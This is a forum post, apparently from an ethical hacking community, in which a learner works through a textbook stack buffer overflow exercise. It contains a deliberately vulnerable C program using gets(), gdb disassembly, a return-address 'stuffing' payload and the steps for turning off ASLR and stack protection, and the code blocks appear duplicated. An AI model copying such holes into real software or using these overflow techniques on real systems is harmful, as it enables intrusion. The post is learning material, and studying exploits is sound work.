Overflowing following program:
Code:
void return_input (void) {
char array[30];
gets (array);
printf("%s\n", array);
}
main () {
return_input();
return 0;
}
char array[30];
gets (array);
printf("%s\n", array);
}
main () {
return_input();
return 0;
}
2. Disas main to get memory location where return_input is called.
Code:
Dump of assembler code for function main:
0x08048412 <main+0>: push %ebp
0x08048413 <main+1>: mov %esp,%ebp
[b]0x08048415[/b] <main+3>: call 0x80483f4 <return_input>
0x0804841a <main+8>: mov $0x0,%eax
0x0804841f <main+13>: pop %ebp
0x08048420 <main+14>: ret
0x08048412 <main+0>: push %ebp
0x08048413 <main+1>: mov %esp,%ebp
[b]0x08048415[/b] <main+3>: call 0x80483f4 <return_input>
0x0804841a <main+8>: mov $0x0,%eax
0x0804841f <main+13>: pop %ebp
0x08048420 <main+14>: ret
As you can see, it is called at 0x0804841 I'm confused why you used the actual location of <return_input>
3. I then check to see how much space is reserved for return_input by disas return_input
Code:
Dump of assembler code for function return_input:
0x080483f4 <return_input+0>: push %ebp
0x080483f5 <return_input+1>: mov %esp,%ebp
0x080483f7 <return_input+3>: sub [b]$0x24[/b],%esp
0x080483fa <return_input+6>: lea -0x1e(%ebp),%eax
0x080483fd <return_input+9>: mov %eax,(%esp)
0x08048400 <return_input+12>: call 0x8048308 <gets@plt>
0x08048405 <return_input+17>: lea -0x1e(%ebp),%eax
0x08048408 <return_input+20>: mov %eax,(%esp)
0x0804840b <return_input+23>: call 0x8048328 <puts@plt>
0x08048410 <return_input+28>: leave
0x08048411 <return_input+29>: ret
0x080483f4 <return_input+0>: push %ebp
0x080483f5 <return_input+1>: mov %esp,%ebp
0x080483f7 <return_input+3>: sub [b]$0x24[/b],%esp
0x080483fa <return_input+6>: lea -0x1e(%ebp),%eax
0x080483fd <return_input+9>: mov %eax,(%esp)
0x08048400 <return_input+12>: call 0x8048308 <gets@plt>
0x08048405 <return_input+17>: lea -0x1e(%ebp),%eax
0x08048408 <return_input+20>: mov %eax,(%esp)
0x0804840b <return_input+23>: call 0x8048328 <puts@plt>
0x08048410 <return_input+28>: leave
0x08048411 <return_input+29>: ret
As you can see.. it reserves 0x24 which in binary is 36. i don't understand why it reserves 36 but in the example in the book it only reserves 0x20 aka 32 .. its the same program.. with the same variable sizes..??
so then the example program used to overwrite the memory locations with the pointer to the <return_input> call is:
Code:
main(){
int i=0;
char stuffing[44];
for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x80483f4;
puts(stuffing);
}
int i=0;
char stuffing[44];
for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x80483f4;
puts(stuffing);
}
Since I have 4 bytes extra.. i changed both values to:
Code:
main(){
int i=0;
char stuffing[48];
for (i=0;i<=44;i+=4)
*(long *) &stuffing[i] = 0x08048415;
puts(stuffing);
}
int i=0;
char stuffing[48];
for (i=0;i<=44;i+=4)
*(long *) &stuffing[i] = 0x08048415;
puts(stuffing);
}
Makes sense.. right?
BTW.. why is stuffing 4 bytes larger.. is there something appended to the end like in strings?
Anyways.. in the end when I feed the program into the overflow program.. it doesn't work.
Below.. i execute the command (./address_to_char;cat) | ./overflow and then it waits for input, i type in "input" and it exits. Completely different then what the book shows.. so it isn't working.. or is it? is the ./address_to_char the first input the program expects .. and my input "input" the second input because it goes back to return_addr?
Code:
(./address_to_char;cat) | ./overflow
input
input
The book shows something like this:
Code:
(./address_to_char;cat) | ./overflow
input
<<<<<<<<<<<<<a<u____,input
input
input
input
<<<<<<<<<<<<<a<u____,input
input
input
(page 22)
Lastly.. the command (./address_to_char;cat) | ./overflow .. what exactly is going on there..i thought to input the output of a program to another you would use the ">" command.
If anyone could help me out it would be awesome.. because I can't continue until I understand these basics
.Thanks!
Edit: I also used the following options:
-fno-stack-protector
echo 0 > /proc/sys/kernel/randomize_va_space - disable virtual address randomization
gcc -mpreferred-stack-boundary=2 -ggdb







.
News Items and General Discussion About EH-Net : Change is Coming to EH-Net!!





